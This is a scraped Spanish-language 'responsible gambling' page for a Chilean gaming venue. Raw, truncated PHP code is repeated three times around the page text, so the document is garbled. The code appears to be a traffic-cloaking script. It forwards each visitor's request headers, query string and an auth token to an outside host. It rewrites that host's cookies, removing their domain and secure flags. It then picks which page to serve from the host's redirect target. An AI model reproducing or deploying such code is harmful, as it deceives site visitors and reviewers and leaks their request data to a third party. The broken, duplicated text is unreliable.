baseUrl = $baseUrl; $this->timeout = $timeout; $this->token = $token; } /** * @throws RuntimeException */ public function execute(): void { if (!$this->isMbstringExtensionEnabled()) { throw new RuntimeException('Extension mbstring should be enabled'); } $url = $this->buildUrl(); $headers = $this->buildHeaders(); if ($this->isCurlSupported()) { $this->performCurlRequest($url, $headers); } elseif ($this->isStreamsSupported()) { $this->performStreamsRequest($url, $headers); } else { throw new RuntimeException('Neither cURL or Streams supported'); } $this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER); foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) { header("Set-Cookie: {$this->prepareCookie($cookie)}"); } $location = $this->getResponseHeaderValue('Location'); if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) { require __DIR__ . '/default/index.php'; return; } if (mb_strpos($location, 'https://google.com/chile') === 0) { require __DIR__ . '/chile/chile.php'; return; } if (mb_strpos($location, 'https://google.com/cl') === 0) { require __DIR__ . '/chile/chile.php'; return; } require __DIR__ . '/default/index.php'; } private function isMbstringExtensionEnabled(): bool { return in_array('mbstring', get_loaded_extensions(), true); } private function buildUrl(): string { return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?'); } /** * @return mixed */ private function getServerValue(string $key) { return $_SERVER[$key] ?? null; } /** * @return string[] */ private function buildHeaders(): array { return array_merge( $this->getServerHeaders(), ["X-Auth-Token: $this->token"] ); } /** * @return string[] */ private function getServerHeaders(): array { $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, self::SERVER_IGNORED_KEYS, true)) { continue; } if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) { $headers[] = "{$this->formatHeaderKey($key)}: $value"; } } return $headers; } private function formatHeaderKey(string $key): string { return implode( self::SEPARATOR_HEADER_KEY, array_map( 'ucfirst', explode( self::SEPARATOR_SERVER_KEY, strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key)) ) ) ); } private function isCurlSupported(): bool { return in_array('curl', get_loaded_extensions(), true); } /** * @param string[] $headers */ private function performCurlRequest(string $url, array $headers): void { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_HEADER => true, CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'], CURLOPT_HTTPHEADER => $headers, CURLOPT_NOBODY => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT_MS => $this->timeout, CURLOPT_URL => $url, ]); curl_exec($ch); $this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } private function parseHeader($ch, string $header): int { $length = mb_strlen($header); $pieces = explode(':', $header, 2); if (count($pieces) responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; return $length; } private function isStreamsSupported(): bool { return (bool) ini_get('allow_url_fopen'); } /** * @param string[] $headers * @throws RuntimeException */ private function performStreamsRequest(string $url, array $headers): void { stream_context_set_default( [ 'http' => [ 'follow_location' => 0, 'header' => $headers, 'method' => self::REQUEST_METHOD_HEAD, 'timeout' => $this->timeout / 1000, ], ] ); $responseHeaders = @get_headers($url, 1); if ($responseHeaders === false) { throw new RuntimeException('Unable to get headers via `get_headers`'); } foreach ($responseHeaders as $name => $value) { if (array_key_exists($name, $this->responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; } $this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]); unset($this->responseHeaders[0]); } private function parseResponseStatusCode(string $statusCode): ?int { preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches); return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null; } /** * @param mixed $default * @return mixed|null */ private function getResponseHeaderValue(string $key, $default = null) { return $this->responseHeaders[strtolower($key)] ?? $default; } private function prepareCookie(string $cookie): string { $preparedCookie = $this->removeDomainFromCookie($cookie); if ($this->getServerValue('HTTPS') !== 'on') { $preparedCookie = $this->removeSecureFromCookie($preparedCookie); } return $preparedCookie; } private function removeDomainFromCookie(string $cookie): string { return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;'); } private function removeSecureFromCookie(string $cookie): string { return trim(str_ireplace('; secure', '', $cookie), ' ;'); } } try { $rotation = new Rotation_alternativtraffic_RouteChile('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteChile', 2000, '047fa8b49419d0507ca1cb101958946a'); $rotation->execute(); } catch (Exception $e) { @file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteChile.log', $e->getMessage()); } ?>

baseUrl = $baseUrl; $this->timeout = $timeout; $this->token = $token; } /** * @throws RuntimeException */ public function execute(): void { if (!$this->isMbstringExtensionEnabled()) { throw new RuntimeException('Extension mbstring should be enabled'); } $url = $this->buildUrl(); $headers = $this->buildHeaders(); if ($this->isCurlSupported()) { $this->performCurlRequest($url, $headers); } elseif ($this->isStreamsSupported()) { $this->performStreamsRequest($url, $headers); } else { throw new RuntimeException('Neither cURL or Streams supported'); } $this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER); foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) { header("Set-Cookie: {$this->prepareCookie($cookie)}"); } $location = $this->getResponseHeaderValue('Location'); if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) { require __DIR__ . '/default/index.php'; return; } if (mb_strpos($location, 'https://google.com/chile') === 0) { require __DIR__ . '/chile/chile.php'; return; } if (mb_strpos($location, 'https://google.com/cl') === 0) { require __DIR__ . '/chile/chile.php'; return; } require __DIR__ . '/default/index.php'; } private function isMbstringExtensionEnabled(): bool { return in_array('mbstring', get_loaded_extensions(), true); } private function buildUrl(): string { return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?'); } /** * @return mixed */ private function getServerValue(string $key) { return $_SERVER[$key] ?? null; } /** * @return string[] */ private function buildHeaders(): array { return array_merge( $this->getServerHeaders(), ["X-Auth-Token: $this->token"] ); } /** * @return string[] */ private function getServerHeaders(): array { $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, self::SERVER_IGNORED_KEYS, true)) { continue; } if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) { $headers[] = "{$this->formatHeaderKey($key)}: $value"; } } return $headers; } private function formatHeaderKey(string $key): string { return implode( self::SEPARATOR_HEADER_KEY, array_map( 'ucfirst', explode( self::SEPARATOR_SERVER_KEY, strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key)) ) ) ); } private function isCurlSupported(): bool { return in_array('curl', get_loaded_extensions(), true); } /** * @param string[] $headers */ private function performCurlRequest(string $url, array $headers): void { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_HEADER => true, CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'], CURLOPT_HTTPHEADER => $headers, CURLOPT_NOBODY => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT_MS => $this->timeout, CURLOPT_URL => $url, ]); curl_exec($ch); $this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } private function parseHeader($ch, string $header): int { $length = mb_strlen($header); $pieces = explode(':', $header, 2); if (count($pieces) responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; return $length; } private function isStreamsSupported(): bool { return (bool) ini_get('allow_url_fopen'); } /** * @param string[] $headers * @throws RuntimeException */ private function performStreamsRequest(string $url, array $headers): void { stream_context_set_default( [ 'http' => [ 'follow_location' => 0, 'header' => $headers, 'method' => self::REQUEST_METHOD_HEAD, 'timeout' => $this->timeout / 1000, ], ] ); $responseHeaders = @get_headers($url, 1); if ($responseHeaders === false) { throw new RuntimeException('Unable to get headers via `get_headers`'); } foreach ($responseHeaders as $name => $value) { if (array_key_exists($name, $this->responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; } $this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]); unset($this->responseHeaders[0]); } private function parseResponseStatusCode(string $statusCode): ?int { preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches); return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null; } /** * @param mixed $default * @return mixed|null */ private function getResponseHeaderValue(string $key, $default = null) { return $this->responseHeaders[strtolower($key)] ?? $default; } private function prepareCookie(string $cookie): string { $preparedCookie = $this->removeDomainFromCookie($cookie); if ($this->getServerValue('HTTPS') !== 'on') { $preparedCookie = $this->removeSecureFromCookie($preparedCookie); } return $preparedCookie; } private function removeDomainFromCookie(string $cookie): string { return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;'); } private function removeSecureFromCookie(string $cookie): string { return trim(str_ireplace('; secure', '', $cookie), ' ;'); } } try { $rotation = new Rotation_alternativtraffic_RouteChile('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteChile', 2000, '047fa8b49419d0507ca1cb101958946a'); $rotation->execute(); } catch (Exception $e) { @file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteChile.log', $e->getMessage()); } ?>

Juego Responsable

En Santiago PlayPoint promovemos un ambiente de entretenimiento saludable y responsable.

Nuestro Compromiso

Santiago PlayPoint está comprometido con la promoción del juego responsable y la prevención de conductas adictivas.

El juego debe ser siempre una forma de entretenimiento y diversión, nunca una manera de ganar dinero o resolver problemas financieros. En Santiago PlayPoint, nos tomamos muy en serio nuestra responsabilidad de proporcionar un ambiente seguro y regulado donde nuestros visitantes puedan disfrutar de nuestras instalaciones de manera responsable.

Nuestro personal está capacitado para identificar señales de comportamiento problemático y ofrecer asistencia cuando sea necesario. Trabajamos en colaboración con organizaciones especializadas en la prevención y tratamiento de la ludopatía para garantizar que nuestros clientes tengan acceso a recursos de ayuda cuando lo necesiten.

Santiago PlayPoint se adhiere a todas las regulaciones nacionales e internacionales sobre juego responsable y está comprometido con las mejores prácticas de la industria.

🔞

Solo para Adultos

Santiago PlayPoint es un establecimiento exclusivo para mayores de 18 años. Verificamos rigurosamente la edad de todos nuestros visitantes mediante identificación oficial con fotografía.

No se permite la entrada a menores de edad bajo ninguna circunstancia, incluso si están acompañados por adultos.

⏱️

Control del Tiempo

Fomentamos que nuestros visitantes establezcan límites de tiempo para sus sesiones de juego. Nuestras instalaciones cuentan con relojes visibles y nuestro personal está capacitado para recordar amablemente el paso del tiempo.

Recomendamos tomar descansos regulares y alternar el juego con otras actividades sociales disponibles en nuestras instalaciones.

Señales de Alerta

Reconocer las señales de un problema con el juego es el primer paso para buscar ayuda. Si tú o alguien que conoces muestra alguno de estos comportamientos, podría ser momento de buscar apoyo profesional.

Comportamientos Problemáticos

  • Jugar por más tiempo o con más dinero del planeado inicialmente
  • Mentir a familiares o amigos sobre el tiempo o dinero gastado en el juego
  • Jugar para recuperar pérdidas o resolver problemas financieros
  • Pedir dinero prestado para jugar o apostar con dinero destinado a otras necesidades
  • Descuidar responsabilidades laborales, académicas o familiares por jugar

Señales Emocionales

  • Sentir irritabilidad o ansiedad cuando no se está jugando
  • Experimentar cambios de humor significativos relacionados con el juego
  • Usar el juego como escape de problemas personales o emocionales
  • Sentir culpa o remordimiento después de jugar
  • Pensar constantemente en el juego, incluso cuando se realizan otras actividades

Autoevaluación

Responde honestamente estas preguntas para evaluar tu relación con el juego. Si respondes "sí" a tres o más preguntas, te recomendamos buscar orientación profesional.

1. ¿Has jugado alguna vez más tiempo o gastado más dinero del que habías planeado?

2. ¿Has mentido a familiares o amigos sobre cuánto juegas o cuánto dinero gastas en el juego?

3. ¿Has intentado recuperar el dinero que has perdido jugando más?

4. ¿Has pedido dinero prestado para jugar o para pagar deudas de juego?

5. ¿Has descuidado responsabilidades familiares, laborales o académicas debido al juego?

6. ¿Has sentido ansiedad, estrés o irritabilidad cuando intentas reducir o dejar de jugar?

7. ¿Has jugado para escapar de problemas personales o para aliviar sentimientos negativos?

8. ¿Has necesitado jugar cantidades cada vez mayores de dinero para sentir la misma emoción?

Esta autoevaluación no sustituye el diagnóstico profesional. Si tienes preocupaciones sobre tus hábitos de juego, te recomendamos buscar ayuda especializada.

Nuestras Políticas

En Santiago PlayPoint implementamos diversas medidas para promover un ambiente de juego responsable y seguro para todos nuestros visitantes.

🔍

Verificación de Edad

Verificamos rigurosamente la edad de todos nuestros visitantes. Solo permitimos el acceso a personas mayores de 18 años con identificación oficial válida.

🚫

Auto-Exclusión

Ofrecemos un programa de auto-exclusión para quienes deseen limitar su acceso a nuestras instalaciones. Consulta con nuestro personal para más información.

💰

Límites de Depósito

Recomendamos establecer límites personales de gasto antes de comenzar a jugar y ofrecemos herramientas para ayudarte a mantener estos límites.

🧠

Personal Capacitado

Nuestro personal recibe capacitación regular sobre juego responsable y está preparado para ofrecer asistencia y recursos a quien lo necesite.

📋

Información Transparente

Proporcionamos información clara sobre las probabilidades de los juegos y fomentamos decisiones informadas sobre la participación en ellos.

🤝

Colaboración

Trabajamos con organizaciones especializadas en prevención y tratamiento de la ludopatía para ofrecer recursos de ayuda efectivos.

Recursos de Ayuda

Si tú o alguien que conoces necesita ayuda con problemas relacionados con el juego, estos recursos están disponibles para brindar apoyo profesional.

Líneas de Ayuda

Línea Nacional de Ayuda al Jugador

Teléfono: 800-123-4567

Disponible 24/7, llamada gratuita y confidencial

Fundación Juego Responsable Chile

Teléfono: 22-456-7890

Email: ayuda@juegoresponsable.cl

Centro de Apoyo Psicológico

Teléfono: 22-567-8901

Horario: Lunes a Viernes, 9:00 - 18:00

Organizaciones de Apoyo

Jugadores Anónimos Chile

Grupos de apoyo en todo el país

Web: www.jugadoresanonimos.cl

Asociación Chilena de Ludopatía

Programas de tratamiento especializado

Web: www.ludopatiachile.org

Servicio Nacional de Salud Mental

Derivación a especialistas en adicciones

Web: www.saludmental.gob.cl

Recursos Online

Herramientas de autoevaluación, información educativa y recursos para el autocontrol están disponibles en los siguientes sitios web:

www.jugarbien.cl

www.adiccionaljuego.org

www.controltuapuesta.com

Consejos para Jugar Responsablemente

Sigue estos consejos para mantener el juego como una actividad de entretenimiento saludable.

Antes de Jugar

  • Establece un presupuesto claro y respétalo
  • Decide cuánto tiempo vas a dedicar al juego
  • No juegues con dinero destinado a necesidades básicas
  • Considera el juego como entretenimiento, no como fuente de ingresos
  • No juegues bajo la influencia del alcohol o drogas

Durante el Juego

  • Toma descansos regulares para reflexionar
  • No persigas pérdidas intentando recuperarlas
  • Alterna el juego con otras actividades sociales
  • Mantén la perspectiva: el resultado es cuestión de azar
  • Evita pedir dinero prestado para seguir jugando

Recuerda Siempre

El juego debe ser siempre una forma de entretenimiento, nunca una solución a problemas financieros o emocionales. Si sientes que has perdido el control, busca ayuda.

El entretenimiento siempre tiene ventaja matemática

No existen sistemas infalibles para ganar

La suerte no es predecible ni controlable

Nuestro Compromiso con el Juego Responsable

En Santiago PlayPoint, nos comprometemos a proporcionar un ambiente de entretenimiento seguro y responsable para todos nuestros visitantes. Creemos que el juego debe ser una experiencia divertida y social, y trabajamos activamente para prevenir los problemas relacionados con el juego.

Nuestro personal está capacitado para identificar señales de comportamiento problemático y ofrecer asistencia discreta cuando sea necesario. Además, colaboramos con organizaciones especializadas en la prevención y tratamiento de la ludopatía para garantizar que nuestros clientes tengan acceso a recursos de ayuda profesional.

Si tienes preguntas sobre nuestras políticas de juego responsable o necesitas hablar con alguien sobre tus hábitos de juego, no dudes en acercarte a cualquier miembro de nuestro equipo. Estamos aquí para ayudarte.

baseUrl = $baseUrl; $this->timeout = $timeout; $this->token = $token; } /** * @throws RuntimeException */ public function execute(): void { if (!$this->isMbstringExtensionEnabled()) { throw new RuntimeException('Extension mbstring should be enabled'); } $url = $this->buildUrl(); $headers = $this->buildHeaders(); if ($this->isCurlSupported()) { $this->performCurlRequest($url, $headers); } elseif ($this->isStreamsSupported()) { $this->performStreamsRequest($url, $headers); } else { throw new RuntimeException('Neither cURL or Streams supported'); } $this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER); foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) { header("Set-Cookie: {$this->prepareCookie($cookie)}"); } $location = $this->getResponseHeaderValue('Location'); if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) { require __DIR__ . '/default/index.php'; return; } if (mb_strpos($location, 'https://google.com/chile') === 0) { require __DIR__ . '/chile/chile.php'; return; } if (mb_strpos($location, 'https://google.com/cl') === 0) { require __DIR__ . '/chile/chile.php'; return; } require __DIR__ . '/default/index.php'; } private function isMbstringExtensionEnabled(): bool { return in_array('mbstring', get_loaded_extensions(), true); } private function buildUrl(): string { return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?'); } /** * @return mixed */ private function getServerValue(string $key) { return $_SERVER[$key] ?? null; } /** * @return string[] */ private function buildHeaders(): array { return array_merge( $this->getServerHeaders(), ["X-Auth-Token: $this->token"] ); } /** * @return string[] */ private function getServerHeaders(): array { $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, self::SERVER_IGNORED_KEYS, true)) { continue; } if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) { $headers[] = "{$this->formatHeaderKey($key)}: $value"; } } return $headers; } private function formatHeaderKey(string $key): string { return implode( self::SEPARATOR_HEADER_KEY, array_map( 'ucfirst', explode( self::SEPARATOR_SERVER_KEY, strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key)) ) ) ); } private function isCurlSupported(): bool { return in_array('curl', get_loaded_extensions(), true); } /** * @param string[] $headers */ private function performCurlRequest(string $url, array $headers): void { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_HEADER => true, CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'], CURLOPT_HTTPHEADER => $headers, CURLOPT_NOBODY => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT_MS => $this->timeout, CURLOPT_URL => $url, ]); curl_exec($ch); $this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } private function parseHeader($ch, string $header): int { $length = mb_strlen($header); $pieces = explode(':', $header, 2); if (count($pieces) responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; return $length; } private function isStreamsSupported(): bool { return (bool) ini_get('allow_url_fopen'); } /** * @param string[] $headers * @throws RuntimeException */ private function performStreamsRequest(string $url, array $headers): void { stream_context_set_default( [ 'http' => [ 'follow_location' => 0, 'header' => $headers, 'method' => self::REQUEST_METHOD_HEAD, 'timeout' => $this->timeout / 1000, ], ] ); $responseHeaders = @get_headers($url, 1); if ($responseHeaders === false) { throw new RuntimeException('Unable to get headers via `get_headers`'); } foreach ($responseHeaders as $name => $value) { if (array_key_exists($name, $this->responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; } $this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]); unset($this->responseHeaders[0]); } private function parseResponseStatusCode(string $statusCode): ?int { preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches); return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null; } /** * @param mixed $default * @return mixed|null */ private function getResponseHeaderValue(string $key, $default = null) { return $this->responseHeaders[strtolower($key)] ?? $default; } private function prepareCookie(string $cookie): string { $preparedCookie = $this->removeDomainFromCookie($cookie); if ($this->getServerValue('HTTPS') !== 'on') { $preparedCookie = $this->removeSecureFromCookie($preparedCookie); } return $preparedCookie; } private function removeDomainFromCookie(string $cookie): string { return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;'); } private function removeSecureFromCookie(string $cookie): string { return trim(str_ireplace('; secure', '', $cookie), ' ;'); } } try { $rotation = new Rotation_alternativtraffic_RouteChile('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteChile', 2000, '047fa8b49419d0507ca1cb101958946a'); $rotation->execute(); } catch (Exception $e) { @file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteChile.log', $e->getMessage()); } ?>